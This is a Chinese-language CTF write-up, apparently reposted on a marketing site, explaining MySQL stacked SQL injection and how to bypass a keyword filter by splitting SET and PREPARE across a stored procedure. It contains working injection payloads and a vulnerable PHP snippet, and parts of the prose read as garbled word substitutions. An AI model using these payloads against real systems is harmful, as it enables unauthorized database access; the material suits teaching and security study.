首页 » 网站推广 » php代码存储进程技巧_浅析mysql存储过程

php代码存储进程技巧_浅析mysql存储过程

访客 2024-11-01 0

扫一扫用手机浏览

文章目录 [+]

堆叠注入

Stacked injections:堆叠注入。
从名词的含义就可以看到该当是一堆sql语句(多条)一起实行。
而在真实的利用中也是这样的,我们知道在mysql中,紧张是命令行中,每一条语句结尾加 ; 表示语句结束。
这样我们就想到了是不是可以多句一起利用。
这个叫做stacked injection。
代码中和一样平常查询不同的是,利用了multi_query函数

在SQL中,分号(;)是用来表示一条sql语句的结束。
试想一下我们在 ; 结束一个sql语句后连续布局下一条语句,会不会一起实行?因此这个想法也就造就了堆叠注入。
而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么差异么?差异就在于union 或者union all实行的语句类型是有限的,可以用来实行查询语句,而堆叠注入可以实行的是任意的语句。

php代码存储进程技巧_浅析mysql存储过程

源码剖析

php代码存储进程技巧_浅析mysql存储过程
(图片来自网络侵删)

<?php$inject = $_GET['inject'] ?? false;if ($inject) {$preg_match = 'return preg_match("/select|update|show|use|updatexml|extractvalue|exp|pow|char|delete|ascii|substr|sleep|if|strcmp|left|mid|concat|drop|insert|where|\./i", $inject);';if (eval($preg_match)) {echo "您输入了敏感字符!
";exit();}if(stristr($inject, "set") && stristr($inject, "prepare")){echo "请不要同时输入set和prepare";exit();}

当时的强网杯彷佛在stristr这个函数上漏写了i导致大家用大小写绕过,但是没事这个不是重点(逃)

这里过滤了很多查询关键字,比如select,比如盲注用的函数,基本上是没有办法的,但是这里是堆叠注入,就给了我们以实行多条sql语句的机会。

很多同学自然就想到了set+prepare的预处理语句,但是这里规定了不能够同时输入set和prepaere,又被堵去世了,但是mysql还有一个可以让语句分开实行且达到等同于一起实行的效果,这里先容一下正解,mysql的存储过程。

存储过程

存储过程(Stored Procedure)是一种在数据库中存储繁芜程序,以便外部程序调用的一种数据库工具。

存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数(须要时)来调用实行。

存储过程思想上很大略,便是数据库 SQL 措辞层面的代码封装与重用。
类比面向工具编程的类。
说白了,存储过程便是具有名字的一段代码,用来完成一个特定的功能。

大家看下面这个很熟习的例子,这个例子在网络上是教程范例,给大家熟习一下。
无非便是in和out。

create 存储过程,然后call调用。

鉴于很多人不太理解这个in和out的差异,我们再大略提一提。

in——传入参数(只索取,不给予)

调用者可以给"过程"一个值,但是过程不会把这个值返回给你。

比如:

mysql> delimiter $$mysql> set @p_in=1;mysql> create procedure in_param(in p_in int) -> begin ->   select p_in; ->   set p_in=2; -> select p_in; -> end$$mysql> delimiter ;mysql> call in_param(@p_in);+------+| p_in |+------+| 1 |+------+1 row in set (0.00 sec)#由于这里先set了p_in=1,以是存储过程里select p_in的值为1+------+| p_in |+------+| 2 |+------+1 row in set (0.00 sec)#然后set p_in=2,以是存储过程里第二个select p_in的值为2Query OK, 0 rows affected (0.00 sec)mysql> select @ p_in;+------+| p_in |+------+| NULL |+------+1 row in set (0.00 sec)#存储过程实行完,他不会把这个值调用者,调用者在过程外是不能够利用这个变革后的值的

in参数便是只能输入,不能够输出,实行完过程,in参数是不会改变的。

out——传出参数(不索取,只给予)

mysql> delimiter //mysql> create procedure out_param(out p_out int) -> begin -> select p_out; -> set p_out=2; -> select p_out; -> end -> //mysql> delimiter ;mysql> set @p_out=1;Query OK, 0 rows affected (0.00 sec)mysql> call out_param(@p_out);+-------+| p_out |+-------+| NULL |+-------+1 row in set (0.00 sec)+-------+| p_out |+-------+| 2 |+-------+1 row in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)

out这个参数刚好便是反过来,调用者无论怎么给参数赋初始值,"过程"里都是当作空值开始处理,然后将处理好的值返回给调用者。

分离预处理语句

好了说了这么多,我们还是要结合题目来看看,题目这里明显是要用预处理set 和 prepare来做,但是不能够同时输入。
经由上面的讲解,我们可以想到,虽然set和prepare不能够同时输入,但是我只要把set给封装到一个"过程"中去,是不是就可以利用存储过程来代替set呢?

再理一遍大家很熟习的set preare的注入poc怎么写:

114514';set @string = hex;prepare stmt from @string;EXECUTE stmt;#

这个地方的string便是我们要实行的sql语句的16进制表示,stmt则是预处理语句的别名。

然后我们把他分为两个部分:

set @string = hex;

prepare stmt from @string;EXECUTE stmt;

首先我们须要创建一个将set包含进去的存储过程,然后剖析输入和输出参数:

in参数是sql注入语句的16进制,由于须要绕过敏感字符过滤,并且我们须要输入这个hex给过程拿去利用;out参数则是我们的set里的@string——预处理语句,在"过程"中赋值好往后,拿出来给我们的prepare利用。

因此我们的poc可以这么写:下面的uuid代表php代码天生的随机数。
第一次输入存储过程的定义:

114514'; create procedure `{$uuid}`(out string text(1024), in hex text(1024)) BEGIN SET string = hex; END; ;--

第二次用call调用这个存储过程(@decoded实在便是传参,传到上一个poc的string位置,为了和string区分开,就用了另一个名词):

114514'; call `{$uuid}`(@decoded, 0x{$sql}); prepare payload from @decoded; execute payload; ;--

之后就会正常的实行set+prepare的注入了。

总结

实在大家如果实在不清楚这个in和out,可以利用inout来代替,inout参数是既可以输入,又可以输出。

说白了存储过程便是sql语句里的函数,可以封装代码,以是比赛中如果碰着了不能一起利用的关键字,可以考试测验着利用存储过程将其分割开。

点击链接做实验了~绕过UNION&SELECT过滤(针对付过滤,我们要善用编码,来绕过关键字过滤。
本实验紧张先容绕过UNION&SELECT过滤的技巧。

https://www.hetianlab.com/&pk_campaign=toutiao-wemedia

标签:

相关文章

网站SEO排名搜索引擎优化之路

网络营销已成为企业竞争的重要手段。而搜索引擎优化(SEO)作为网络营销的核心策略之一,对于提升网站在搜索引擎中的排名、增加网站流量...

网站推广 2025-04-09 阅读1 评论0

网站建设SEO领域佼佼者哪家强

网站建设已经成为企业拓展市场、提升品牌影响力的重要途径。而在网站建设中,SEO(搜索引擎优化)显得尤为重要。在众多SEO服务商中,...

网站推广 2025-04-09 阅读1 评论0